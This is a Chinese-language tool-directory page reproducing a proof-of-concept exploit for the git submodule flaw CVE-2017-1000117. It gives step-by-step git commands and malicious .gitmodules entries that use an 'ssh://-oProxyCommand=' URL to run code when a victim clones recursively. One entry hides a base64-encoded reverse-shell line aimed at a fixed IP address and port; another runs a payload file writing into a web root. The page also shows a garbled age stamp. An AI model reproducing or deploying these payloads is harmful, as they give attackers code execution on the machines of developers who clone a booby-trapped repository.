Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/leezp/cve-2017-1000117
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制Payload 开发
GitHubleezp/cve-2017-1000117

CVE-2017-1000117

CVE-2017-1000117 的概念验证漏洞利用:通过恶意 git 子模块 SSH URL 实现远程代码执行,在递归克隆操作期间投递反向 Shell 有效载荷。

查看仓库
127年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-1000117

恶意人员可以通过巧妙构造 “ssh://…” 链接,让受害人在执行程序等情况下访问该恶意链接,从而达到命令执行的目的。 该链接可以被放在 git项目的.gitmodules文件下,这样当受害人对一个项目进行git clone –recurse-submodules/git clone --recursive 操作时,就会引发安全问题。

预热:

linux 命令行输入 printf 'a' >> /tmp/pwned.txt 发现在tmp目录创建了pwned.txt,内容为 a

git init

git remote add origin https://github.com/leezp/CVE-2017-1000117.git

git pull origin master

git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1

([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git //创建了sub1和name2两个submodule子目录)

git submodule add https://github.com/leezp/CVE-2017-1000117.git name2

git add .

git commit -m '1'

git push -u origin master

有两种制作方式:

第一种: 打开.gitmodules文件,修改内容(只需修改第一个,因为只会执行第一个submodule里的exp,这里创建2个是因为有时候创建一个不会执行,具体原因暂时没有太多兴趣研究)

[submodule "name1"]

root@kitploit:~
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar

[submodule "sub2"]

root@kitploit:~
path = sub2	
url = https://github.com/leezp/CVE-2017-1000117.git

(具体见.gitmodules.bak1文件) 第一种方式无需payload文件

第二种方式: 打开.gitmodules文件,修改内容(只需修改第一个)

[submodule "sub1"]

root@kitploit:~
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat

[submodule "name2"]

root@kitploit:~
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git

(具体见.gitmodules文件)

此种方式需结合payload文件,payload文件我们输入 printf 'sss' > /var/www/html/vul

注意 git clone方式必须以下两种任一:

git clone --recursive url

git clone --recurse-submodules url

使用git clone 则只会正常下载不会额外生成文件,所以漏洞触发条件较为苛刻。

下载工具